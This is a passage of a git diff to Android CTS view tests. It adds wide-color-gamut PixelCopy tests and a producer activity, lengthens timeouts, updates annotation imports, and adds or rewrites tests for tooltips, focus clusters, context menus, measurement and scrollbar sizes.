+ }
+
+ private Window waitForWideGamutWindowProducerActivity() {
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.launchActivity(null);
+ activity.waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ return activity.getWindow();
+ }
+
+ private Rect makeWideGamutWindowRect(int left, int top, int right, int bottom) {
+ Rect r = new Rect(left, top, right, bottom);
+ mWideGamutWindowSourceActivityRule.getActivity().offsetForContent(r);
+ return r;
+ }
+
+ @Test
+ public void testWideGamutWindowProducerCopyToRGBA8888() {
+ Window window = waitForWideGamutWindowProducerActivity();
+ assertEquals(
+ ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+ // Early out if the device does not support wide color gamut rendering
+ if (!window.isWideColorGamut()) {
+ return;
+ }
+
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ do {
+ Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.ARGB_8888);
+ int result = mCopyHelper.request(window, src, bitmap);
+
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.ARGB_8888, bitmap.getConfig());
+
+ assertEquals("Top left", Color.RED, bitmap.getPixel(32, 32));
+ assertEquals("Top right", Color.GREEN, bitmap.getPixel(96, 32));
+ assertEquals("Bottom left", Color.BLUE, bitmap.getPixel(32, 96));
+ assertEquals("Bottom right", Color.YELLOW, bitmap.getPixel(96, 96));
+ } while (activity.rotate());
+ }
+
+ @Test
+ public void testWideGamutWindowProducerCopyToRGBA16F() {
+ Window window = waitForWideGamutWindowProducerActivity();
+ assertEquals(
+ ActivityInfo.COLOR_MODE_WIDE_COLOR_GAMUT, window.getAttributes().getColorMode());
+
+ // Early out if the device does not support wide color gamut rendering
+ if (!window.isWideColorGamut()) {
+ return;
+ }
+
+ PixelCopyWideGamutViewProducerActivity activity =
+ mWideGamutWindowSourceActivityRule.getActivity();
+
+ Bitmap bitmap;
+ int i = 0;
+ do {
+ Rect src = makeWideGamutWindowRect(0, 0, 128, 128);
+ bitmap = Bitmap.createBitmap(src.width(), src.height(), Config.RGBA_F16);
+ int result = mCopyHelper.request(window, src, bitmap);
+
+ assertEquals("Fullsize copy request failed", PixelCopy.SUCCESS, result);
+ assertEquals(Config.RGBA_F16, bitmap.getConfig());
+
+ ByteBuffer dst = ByteBuffer.allocateDirect(bitmap.getAllocationByteCount());
+ bitmap.copyPixelsToBuffer(dst);
+ dst.rewind();
+ dst.order(ByteOrder.LITTLE_ENDIAN);
+
+ // ProPhoto RGB red in scRGB-nl
+ assertEqualsRgba16f("Top left", bitmap, 32, 32, dst, 1.36f, -0.52f, -0.09f, 1.0f);
+ // ProPhoto RGB green in scRGB-nl
+ assertEqualsRgba16f("Top right", bitmap, 96, 32, dst, -0.87f, 1.10f, -0.43f, 1.0f);
+ // ProPhoto RGB blue in scRGB-nl
+ assertEqualsRgba16f("Bottom left", bitmap, 32, 96, dst, -0.59f, -0.04f, 1.07f, 1.0f);
+ // ProPhoto RGB yellow in scRGB-nl
+ assertEqualsRgba16f("Bottom right", bitmap, 96, 96, dst, 1.12f, 1.00f, -0.44f, 1.0f);
+ } while (activity.rotate());
+ }
+
+ private static void assertEqualsRgba16f(String message, Bitmap bitmap, int x, int y,
+ ByteBuffer dst, float r, float g, float b, float a) {
+ int index = y * bitmap.getRowBytes() + (x << 3);
+ short cR = dst.getShort(index);
+ short cG = dst.getShort(index + 2);
+ short cB = dst.getShort(index + 4);
+ short cA = dst.getShort(index + 6);
+
+ assertEquals(message, r, Half.toFloat(cR), 0.01);
+ assertEquals(message, g, Half.toFloat(cG), 0.01);
+ assertEquals(message, b, Half.toFloat(cB), 0.01);
+ assertEquals(message, a, Half.toFloat(cA), 0.01);
+ }
+
private void runGcAndFinalizersSync() {
final CountDownLatch fence = new CountDownLatch(1);
new Object() {
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
index b7d6c5b..054de45 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyViewProducerActivity.java
@@ -65,6 +65,8 @@
mContent = new ColoredGrid(this);
setContentView(mContent);
+ View view = this.getWindow().getDecorView();
+ view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
mContent.getViewTreeObserver().addOnDrawListener(this);
mContent.setOnApplyWindowInsetsListener(this);
}
@@ -127,7 +129,7 @@
mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
});
- waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ waitForFirstDrawCompleted(10, TimeUnit.SECONDS);
return mCurrentOrientation != 0;
}
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
new file mode 100644
index 0000000..d8a512d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/PixelCopyWideGamutViewProducerActivity.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageManager;
+import android.content.res.AssetManager;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.View;
+import android.view.ViewTreeObserver.OnDrawListener;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static org.junit.Assert.fail;
+
+public class PixelCopyWideGamutViewProducerActivity extends Activity implements OnDrawListener {
+ private static final int[] ORIENTATIONS = {
+ ActivityInfo.SCREEN_ORIENTATION_PORTRAIT,
+ ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+ ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT,
+ ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE,
+ };
+ private int mCurrentOrientation = 0;
+ private View mContent;
+ private Rect mContentBounds = new Rect();
+ private CountDownLatch mFence = new CountDownLatch(3);
+ private boolean mSupportsRotation;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Check if the device supports both of portrait and landscape orientation screens.
+ final PackageManager pm = getPackageManager();
+ mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+ && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+ if (mSupportsRotation) {
+ setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+ }
+
+ mContent = new WideGamutBitmapView(this);
+ setContentView(mContent);
+ View view = this.getWindow().getDecorView();
+ view.setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION);
+ mContent.getViewTreeObserver().addOnDrawListener(this);
+ }
+
+ @Override
+ public void onDraw() {
+ final int requestedOrientation = ORIENTATIONS[mCurrentOrientation];
+ boolean screenPortrait =
+ requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ || requestedOrientation == ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+ boolean contentPortrait = mContent.getHeight() > mContent.getWidth();
+ if (mSupportsRotation && (screenPortrait != contentPortrait)) {
+ return;
+ }
+ mContent.post(() -> {
+ Point offset = new Point();
+ // We pass mContentBounds here just as a throwaway rect, we don't care about
+ // the visible rect just the global offset.
+ mContent.getGlobalVisibleRect(mContentBounds, offset);
+ mContentBounds.set(offset.x, offset.y,
+ offset.x + mContent.getWidth(), offset.y + mContent.getHeight());
+ mFence.countDown();
+ if (mFence.getCount() > 0) {
+ mContent.invalidate();
+ }
+ });
+ }
+
+ public void waitForFirstDrawCompleted(int timeout, TimeUnit unit) {
+ try {
+ if (!mFence.await(timeout, unit)) {
+ fail("Timeout");
+ }
+ } catch (InterruptedException ex) {
+ fail(ex.getMessage());
+ }
+ }
+
+ public boolean rotate() {
+ if (!mSupportsRotation) {
+ // Do not rotate the screen if it is not supported.
+ return false;
+ }
+ mFence = new CountDownLatch(3);
+ runOnUiThread(() -> {
+ mCurrentOrientation = (mCurrentOrientation + 1) % ORIENTATIONS.length;
+ setRequestedOrientation(ORIENTATIONS[mCurrentOrientation]);
+ });
+ waitForFirstDrawCompleted(3, TimeUnit.SECONDS);
+ return mCurrentOrientation != 0;
+ }
+
+ void offsetForContent(Rect inOut) {
+ inOut.offset(mContentBounds.left, mContentBounds.top);
+ }
+
+ private static final class WideGamutBitmapView extends View {
+ private final Bitmap mBitmap;
+
+ WideGamutBitmapView(Context context) {
+ super(context);
+ // We use an asset to ensure aapt will not mess with the data
+ AssetManager assets = context.getResources().getAssets();
+ try (InputStream in = assets.open("prophoto.png")) {
+ mBitmap = BitmapFactory.decodeStream(in);
+ } catch (IOException e) {
+ throw new RuntimeException("Test failed: ", e);
+ }
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+ canvas.drawBitmap(mBitmap, 0.0f, 0.0f, null);
+ }
+ }
+}
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
index cb67b92..100ba9d 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureGroup.java
@@ -16,8 +16,8 @@
package android.view.cts;
-import android.annotation.Nullable;
import android.content.Context;
+import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.widget.LinearLayout;
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
index bb14589..139232f 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureTest.java
@@ -45,6 +45,7 @@
import android.view.View;
import com.android.compatibility.common.util.CtsMouseUtil.ActionMatcher;
+import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
@@ -228,7 +229,10 @@
// Show a context menu on a widget.
mActivity.registerForContextMenu(mTarget);
- mActivityRule.runOnUiThread(() -> mTarget.showContextMenu(0, 0));
+ // TODO(kaznacheev) replace the below line with a call to showContextMenu once b/65487689
+ // is fixed. Meanwhile, emulate a long press which takes long enough time to avoid the race
+ // condition.
+ CtsTouchUtils.emulateLongPressOnView(mInstrumentation, mTarget, 0, 0);
PollingCheck.waitFor(TIMEOUT_DELTA, () -> !mOuter.hasWindowFocus());
assertPointerCapture(false);
diff --git a/tests/tests/view/src/android/view/cts/PointerCaptureView.java b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
index 4af160b..d273977 100644
--- a/tests/tests/view/src/android/view/cts/PointerCaptureView.java
+++ b/tests/tests/view/src/android/view/cts/PointerCaptureView.java
@@ -16,8 +16,8 @@
package android.view.cts;
-import android.annotation.Nullable;
import android.content.Context;
+import android.support.annotation.Nullable;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.View;
diff --git a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
index 0f77bd7..2a14a8d 100644
--- a/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
+++ b/tests/tests/view/src/android/view/cts/SurfaceViewSyncTest.java
@@ -242,7 +242,7 @@
+ " incorrect frames observed - incorrect positioning",
result.failFrames == 0);
float framesPerSecond = 1.0f * result.passFrames
- / TimeUnit.MILLISECONDS.toSeconds(CapturedActivity.CAPTURE_DURATION_MS);
+ / TimeUnit.MILLISECONDS.toSeconds(mActivity.getCaptureDurationMs());
assertTrue("Error, only " + result.passFrames
+ " frames observed, virtual display only capturing at "
+ framesPerSecond + " frames per second",
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
index b909469..63d4d5e 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCameraTest.java
@@ -31,7 +31,7 @@
@LargeTest
@RunWith(AndroidJUnit4.class)
public class TextureViewCameraTest {
- private static final long WAIT_TIMEOUT_IN_SECS = 10;
+ private static final long WAIT_TIMEOUT_IN_SECS = 30;
private TextureViewCameraActivity mActivity;
private int mNumberOfCameras;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 2a5e433..f66e137 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -119,7 +119,7 @@
private int waitForChange(Point point, int color)
throws InterruptedException, TimeoutException {
- for (int i = 0; i < 20; i++) {
+ for (int i = 0; i < 30; i++) {
int pixel = getPixel(point);
if (pixel != color) {
return pixel;
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 2ffe06b..1717763 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -28,12 +28,15 @@
import android.support.test.rule.ActivityTestRule;
import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import android.view.Gravity;
import android.view.InputDevice;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
import android.view.ViewGroup;
+import android.widget.PopupWindow;
+import android.widget.TextView;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
@@ -782,4 +785,22 @@
injectLongHoverMove(parent);
assertTrue(hasTooltip(parent));
}
+
+ @Test
+ public void testTooltipInPopup() throws Throwable {
+ TextView popupContent = new TextView(mActivity);
+
+ mActivityRule.runOnUiThread(() -> {
+ popupContent.setText("Popup view");
+ popupContent.setTooltipText("Tooltip");
+
+ PopupWindow popup = new PopupWindow(popupContent,
+ ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT);
+ popup.showAtLocation(mGroupView, Gravity.CENTER, 0, 0);
+ });
+ mInstrumentation.waitForIdleSync();
+
+ injectLongClick(popupContent);
+ assertTrue(hasTooltip(popupContent));
+ }
}
diff --git a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
index 8e478a8..2c88b25 100644
--- a/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewConfigurationTest.java
@@ -77,7 +77,8 @@
vc.getScaledOverscrollDistance();
vc.getScaledPagingTouchSlop();
vc.getScaledScrollBarSize();
- vc.getScaledScrollFactor();
+ vc.getScaledHorizontalScrollFactor();
+ vc.getScaledVerticalScrollFactor();
vc.getScaledTouchSlop();
vc.getScaledWindowTouchSlop();
vc.hasPermanentMenuKey();
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 95b8491..0c12579 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -29,7 +29,6 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
-import android.annotation.NonNull;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
@@ -44,6 +43,7 @@
import android.graphics.drawable.BitmapDrawable;
import android.os.Parcelable;
import android.os.SystemClock;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.LargeTest;
@@ -1662,6 +1662,28 @@
@UiThreadTest
@Test
+ public void testFocusInClusterFocusableChanges() {
+ TestClusterHier h = new TestClusterHier();
+ h.cluster1.setKeyboardNavigationCluster(false);
+ h.c1view2.setFocusedInCluster();
+ h.c2view1.requestFocus();
+ assertSame(h.top.findFocus(), h.c2view1);
+ assertTrue(h.top.restoreFocusNotInCluster());
+ assertSame(h.top.findFocus(), h.c1view2);
+ h.c1view1.setFocusable(false);
+ // making it invisible should clear focusNotInCluster chain
+ h.c1view2.setVisibility(View.INVISIBLE);
+ assertFalse(h.top.restoreFocusNotInCluster());
+ h.c1view2.setVisibility(View.VISIBLE);
+ h.c1view2.requestFocus();
+ h.c1view2.setFocusedInCluster();
+ h.c2view1.setFocusable(false);
+ h.c2view2.setFocusable(false);
+ assertFalse(h.cluster2.restoreFocusInCluster(View.FOCUS_DOWN));
+ }
+
+ @UiThreadTest
+ @Test
public void testRestoreDefaultFocus() {
TestClusterHier h = new TestClusterHier();
h.c1view2.setFocusedByDefault(true);
diff --git a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
index e82cf37..8cd0d37 100644
--- a/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOutlineProviderTest.java
@@ -18,12 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.annotation.NonNull;
import android.content.Context;
import android.graphics.Color;
import android.graphics.Outline;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
+import android.support.annotation.NonNull;
import android.support.test.InstrumentationRegistry;
import android.support.test.annotation.UiThreadTest;
import android.support.test.filters.SmallTest;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index 99431a5..cdb2223 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -103,7 +103,6 @@
import com.android.compatibility.common.util.CtsMouseUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.internal.view.menu.ContextMenuBuilder;
import org.junit.Before;
import org.junit.Rule;
@@ -1076,21 +1075,22 @@
}
@Test
- public void testCreateContextMenu() {
- View.OnCreateContextMenuListener listener = mock(View.OnCreateContextMenuListener.class);
- MockView view = new MockView(mActivity);
- ContextMenu contextMenu = new ContextMenuBuilder(mActivity);
- view.setParent(mMockParent);
- view.setOnCreateContextMenuListener(listener);
- assertFalse(view.hasCalledOnCreateContextMenu());
- assertFalse(mMockParent.hasCreateContextMenu());
- verifyZeroInteractions(listener);
+ public void testCreateContextMenu() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ View.OnCreateContextMenuListener listener =
+ mock(View.OnCreateContextMenuListener.class);
+ MockView view = new MockView(mActivity);
+ mActivity.setContentView(view);
+ mActivity.registerForContextMenu(view);
+ view.setOnCreateContextMenuListener(listener);
+ assertFalse(view.hasCalledOnCreateContextMenu());
+ verifyZeroInteractions(listener);
- view.createContextMenu(contextMenu);
- assertTrue(view.hasCalledOnCreateContextMenu());
- assertTrue(mMockParent.hasCreateContextMenu());
- verify(listener, times(1)).onCreateContextMenu(
- eq(contextMenu), eq(view), any());
+ view.showContextMenu();
+ assertTrue(view.hasCalledOnCreateContextMenu());
+ verify(listener, times(1)).onCreateContextMenu(
+ any(), eq(view), any());
+ });
}
@Test(expected=NullPointerException.class)
@@ -1228,32 +1228,36 @@
}
@Test
- public void testKeyboardNavigationClusterSearch() {
- mMockParent.setIsRootNamespace(true);
- View v1 = new MockView(mActivity);
- v1.setFocusableInTouchMode(true);
- View v2 = new MockView(mActivity);
- v2.setFocusableInTouchMode(true);
- mMockParent.addView(v1);
- mMockParent.addView(v2);
+ public void testKeyboardNavigationClusterSearch() throws Throwable {
+ mActivityRule.runOnUiThread(() -> {
+ ViewGroup decorView = (ViewGroup) mActivity.getWindow().getDecorView();
+ decorView.removeAllViews();
+ View v1 = new MockView(mActivity);
+ v1.setFocusableInTouchMode(true);
+ View v2 = new MockView(mActivity);
+ v2.setFocusableInTouchMode(true);
+ decorView.addView(v1);
+ decorView.addView(v2);
- // Searching for clusters.
- v1.setKeyboardNavigationCluster(true);
- v2.setKeyboardNavigationCluster(true);
- assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
- assertEquals(v1, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(v2, mMockParent.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(mMockParent, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- assertEquals(mMockParent, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
- assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ // Searching for clusters.
+ v1.setKeyboardNavigationCluster(true);
+ v2.setKeyboardNavigationCluster(true);
+ assertEquals(v2, decorView.keyboardNavigationClusterSearch(v1, View.FOCUS_FORWARD));
+ assertEquals(v1, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(v2, decorView.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ assertEquals(v2, v1.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(decorView, v1.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
+ assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ assertEquals(v1, v2.keyboardNavigationClusterSearch(null, View.FOCUS_BACKWARD));
- // Clusters in 3-level hierarchy.
- ViewGroup root = new MockViewParent(mActivity);
- root.setIsRootNamespace(true);
- mMockParent.setIsRootNamespace(false);
- root.addView(mMockParent);
- assertEquals(root, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ // Clusters in 3-level hierarchy.
+ decorView.removeAllViews();
+ LinearLayout middle = new LinearLayout(mActivity);
+ middle.addView(v1);
+ middle.addView(v2);
+ decorView.addView(middle);
+ assertEquals(decorView, v2.keyboardNavigationClusterSearch(null, View.FOCUS_FORWARD));
+ });
}
@Test
@@ -1818,24 +1822,29 @@
@Test
public void testMeasure() throws Throwable {
final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
+
+ float density = view.getContext().getResources().getDisplayMetrics().density;
+ int size1 = (int) (75 * density + 0.5);
+ int size2 = (int) (100 * density + 0.5);
+
assertTrue(view.hasCalledOnMeasure());
- assertEquals(100, view.getMeasuredWidth());
- assertEquals(200, view.getMeasuredHeight());
+ assertEquals(size1, view.getMeasuredWidth());
+ assertEquals(size2, view.getMeasuredHeight());
view.reset();
mActivityRule.runOnUiThread(view::requestLayout);
mInstrumentation.waitForIdleSync();
assertTrue(view.hasCalledOnMeasure());
- assertEquals(100, view.getMeasuredWidth());
- assertEquals(200, view.getMeasuredHeight());
+ assertEquals(size1, view.getMeasuredWidth());
+ assertEquals(size2, view.getMeasuredHeight());
view.reset();
- final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(200, 100);
+ final LinearLayout.LayoutParams layoutParams = new LinearLayout.LayoutParams(size2, size1);
mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams));
mInstrumentation.waitForIdleSync();
assertTrue(view.hasCalledOnMeasure());
- assertEquals(200, view.getMeasuredWidth());
- assertEquals(100, view.getMeasuredHeight());
+ assertEquals(size2, view.getMeasuredWidth());
+ assertEquals(size1, view.getMeasuredHeight());
}
@Test(expected=NullPointerException.class)
@@ -2414,11 +2423,15 @@
final View view = mActivity.findViewById(R.id.mock_view);
Rect rect = new Rect();
+ float density = view.getContext().getResources().getDisplayMetrics().density;
+ int size1 = (int) (75 * density + 0.5);
+ int size2 = (int) (100 * density + 0.5);
+
assertTrue(view.getLocalVisibleRect(rect));
assertEquals(0, rect.left);
assertEquals(0, rect.top);
- assertEquals(100, rect.right);
- assertEquals(200, rect.bottom);
+ assertEquals(size1, rect.right);
+ assertEquals(size2, rect.bottom);
final LinearLayout.LayoutParams layoutParams1 = new LinearLayout.LayoutParams(0, 300);
mActivityRule.runOnUiThread(() -> view.setLayoutParams(layoutParams1));
@@ -3749,6 +3762,67 @@
}
@Test
+ public void testScrollbarSize() {
+ final int configScrollbarSize = ViewConfiguration.get(mActivity).getScaledScrollBarSize();
+ final int customScrollbarSize = configScrollbarSize * 2;
+
+ // No explicit scrollbarSize or custom drawables, ViewConfiguration applies.
+ final MockView view = (MockView) mActivity.findViewById(R.id.scroll_view);
+ assertEquals(configScrollbarSize, view.getScrollBarSize());
+ assertEquals(configScrollbarSize, view.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view.getHorizontalScrollbarHeight());
+
+ // No custom drawables, explicit scrollbarSize takes precedence.
+ final MockView view2 = (MockView) mActivity.findViewById(R.id.scroll_view_2);
+ view2.setScrollBarSize(customScrollbarSize);
+ assertEquals(customScrollbarSize, view2.getScrollBarSize());
+ assertEquals(customScrollbarSize, view2.getVerticalScrollbarWidth());
+ assertEquals(customScrollbarSize, view2.getHorizontalScrollbarHeight());
+
+ // Custom drawables with no intrinsic size, ViewConfiguration applies.
+ final MockView view3 = (MockView) mActivity.findViewById(R.id.scroll_view_3);
+ assertEquals(configScrollbarSize, view3.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view3.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize takes precedence.
+ view3.setScrollBarSize(customScrollbarSize);
+ assertEquals(view3.getScrollBarSize(), view3.getVerticalScrollbarWidth());
+ assertEquals(view3.getScrollBarSize(), view3.getHorizontalScrollbarHeight());
+
+ // Custom thumb drawables with intrinsic sizes define the scrollbars' dimensions.
+ final MockView view4 = (MockView) mActivity.findViewById(R.id.scroll_view_4);
+ final Resources res = mActivity.getResources();
+ final int thumbWidth = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_width);
+ final int thumbHeight = res.getDimensionPixelSize(R.dimen.scrollbar_thumb_height);
+ assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+ assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize has no effect.
+ view4.setScrollBarSize(customScrollbarSize);
+ assertEquals(thumbWidth, view4.getVerticalScrollbarWidth());
+ assertEquals(thumbHeight, view4.getHorizontalScrollbarHeight());
+
+ // Custom thumb and track drawables with intrinsic sizes. Track size take precedence.
+ final MockView view5 = (MockView) mActivity.findViewById(R.id.scroll_view_5);
+ final int trackWidth = res.getDimensionPixelSize(R.dimen.scrollbar_track_width);
+ final int trackHeight = res.getDimensionPixelSize(R.dimen.scrollbar_track_height);
+ assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+ assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize has no effect.
+ view5.setScrollBarSize(customScrollbarSize);
+ assertEquals(trackWidth, view5.getVerticalScrollbarWidth());
+ assertEquals(trackHeight, view5.getHorizontalScrollbarHeight());
+
+ // Custom thumb and track, track with no intrinsic size, ViewConfiguration applies
+ // regardless of the thumb drawable dimensions.
+ final MockView view6 = (MockView) mActivity.findViewById(R.id.scroll_view_6);
+ assertEquals(configScrollbarSize, view6.getVerticalScrollbarWidth());
+ assertEquals(configScrollbarSize, view6.getHorizontalScrollbarHeight());
+ // Explicit scrollbarSize takes precedence.
+ view6.setScrollBarSize(customScrollbarSize);
+ assertEquals(customScrollbarSize, view6.getVerticalScrollbarWidth());
+ assertEquals(customScrollbarSize, view6.getHorizontalScrollbarHeight());
+ }
+
+ @Test
public void testOnStartAndFinishTemporaryDetach() throws Throwable {
final AtomicBoolean exitedDispatchStartTemporaryDetach = new AtomicBoolean(false);
final AtomicBoolean exitedDispatchFinishTemporaryDetach = new AtomicBoolean(false);
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index acfe6ed..21fdd89 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -33,12 +33,10 @@
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup;
-import android.view.ViewRootImpl;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.LinearLayout;
-import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -153,7 +151,7 @@
v2.setVisibility(View.VISIBLE);
v3.setVisibility(View.VISIBLE);
v4.setVisibility(View.VISIBLE);
- assertEquals(ViewRootImpl.sAlwaysAssignFocus, v1.isFocused());
+ assertEquals(true, v1.isFocused());
assertFalse(v2.isFocused());
assertFalse(v3.isFocused());
assertFalse(v4.isFocused());
@@ -344,32 +342,6 @@
return new View[]{initial, first};
}
- @Test
- public void testNoInitialFocus() throws Throwable {
- Assume.assumeFalse(ViewRootImpl.sAlwaysAssignFocus);
- Activity activity = mActivityRule.getActivity();
